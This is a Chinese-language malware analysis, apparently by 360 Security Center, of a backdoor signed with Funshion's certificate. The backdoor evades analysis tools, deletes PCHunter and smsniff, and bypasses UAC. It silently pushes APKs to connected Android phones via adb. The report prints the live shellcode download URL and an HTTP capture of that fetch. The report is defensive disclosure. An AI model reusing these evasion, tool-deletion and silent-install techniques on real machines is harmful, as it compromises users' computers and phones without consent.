by qxnjawk
最近,360安全中心檢測到,大量推廣程序在推廣一款帶有有效風行簽名——“Beijing Funshion Online Technologies Ltd.”的靜默安裝程序。后續分析發現,該程序靜默安裝,無法卸載,通過LSP注入系統各個聯網進程執行。帶有反虛擬機,反調試,抗分析,遠程控制,遠程執行的能力,是一款植入用戶計算機的后門程序。

該樣本運行之后,會對目標機器的環境進行檢測:檢測虛擬機,各種程序開發工具等。
如果不存在開發工具和虛擬機,就會下載一個后門dll程序加載執行,該dll還會進行手機app推廣。
木馬檢查用戶機器上是否存在IDA, vc6.0, windbg.exe等分析人員常用的分析工具。這類檢測在木馬程序中很常見,正常面向大眾的軟件,很少做這類檢測。

以下為木馬檢測的所有字符串的內存截圖:

檢測通過之后,后門從服務器下載一個名為Foamii.dll的文件,而該文件才是一切行為的核心。

木馬首先調用WinExec函數啟動rundll32.exe作為宿主進程,調用Foamii.dll的startup函數

運行后,dll會從服務器讀取在線shellcode代碼到本地

shellcode的遠端地址竟然就堂而皇之的掛在風行官網上:http://fld.funshion.com/instant/instant?bid=52用瀏覽器打開該URL內容如下:

數據報文如下圖:
GET /instant/instant?bid=52 HTTP/1.1
Cache-Control: max-age=43200
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Funshion/1.0.0.1
Host: fld.funshion.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.2.0
Date: Wed, 23 Sep 2015 07:12:02 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
184
..TKDS…..$..e..1..}…_/…6………..d..`CG..W…S…..V……=-…..\.Gd4..*..a}…X.#..Y…}R …o\W.]I.M.Jw…%.Lm.l._..Zq..n1.X[+F.+….~…c.J…~.]./..’d2…….z.c(.{.(.n..%..8=.3`.`.W…!….E..1.j.U….[..
#……T&…/……!<.[email protected]=yH.i.MV…..i…..A…..e.._g.YL`…..,5]R..`……&
Y….(e….@.J.%.O.T.l..U+…….5..6.]..a{`.? .IEX….<xx…..-…k…}…I..\
0
而加載shellcode后,代碼會向服務器發起訪問,返回信息則是一個json串:

顯然,json串中又為shellcode指明了一個新的下載地址,下載回來的則是一個名為Foamii.zip的壓縮文件

當Foamii.dll將Foamii.zip下載回來之后,將其解壓,并進一步釋放了一個名為FunNail.dll的程序


該程序被運行后,首先會檢測當前環境是否運行于虛擬機當中,同時刪除PcHunter, smiff等常見分析工具。然后下載推廣程序,進行推廣。
木馬調用IsProcessorFeaturePresent檢測自身是否正處于調試環境中,由此判斷自身是否正在被分析人員分析:

若并非處于調試環境中,則申請內存執行shellcode

之后,創建一個模態對話框,關鍵的工作函數就放在了窗體回調函數中:

工作函數中,首先是檢測虛擬機情況,看自己是否運行于虛擬機之中:

而后,程序會對磁盤中的進行遍歷

遍歷文件過程中,一旦發現檢測分析工具則立即刪除:


刪除PCHunter32.exe文件

刪除smsniff.exe文件

另外,此處還有一個插曲:如果程序檢測到當前正運行于Win7之后的系統,程序甚至還有專門用于繞過UAC防護的代碼,考慮不可謂不周到。

一切準備工作停當之后,便下載了一套安卓手機的連接組件回來:

同時開啟一個轉么的線程,用來等待手機usb設備接入

一旦發現有安卓手機接入,則創建一個可讀寫的pipe管道,主要為adb fork-server 服務。

而后利用adb命令在手機端創建一個 adb fork-server server進程 ,用于通過adb連接繼而到電腦的手機。


在手機中創建進程adb fork-server server成功之后,會讀取手機端adb fork-server server的數據

并啟動daemon 守護進程

同時下載一個或幾個APK文件到本地:

現在要做的,就是找到SD卡或者手機內部存儲的tmp路徑,并將已經準備好的apk文件推送到手機當中:


最后,安裝并啟動安卓的daemon守護進程,拼接adb shell:install命令用來啟動apk進行流氓推廣



以上這一切,用戶是完全沒有任何感知的,能感知到的唯有在手機上的這一次又一次的不期而遇而已……

360安全中心最早接到關于帶有風行簽名程序從PC端向安卓機強推安卓應用的問題,最早見于去年(2014年)12月中旬,當時就曾組織過技術力量對該族系推廣進行過攔截。但在沉寂了9個多月之后,今年9月中旬,該族系又變換了更加犀利的反安全軟件代碼卷土重來。
目前360已對其推廣做了攔截,并提醒用戶及時清理,該后門安裝量已經過數百萬臺,并且依然在不斷的變種與我們進行對抗。
由衷希望廠商管理好自己產品,不要在這條路上越走越遠才好。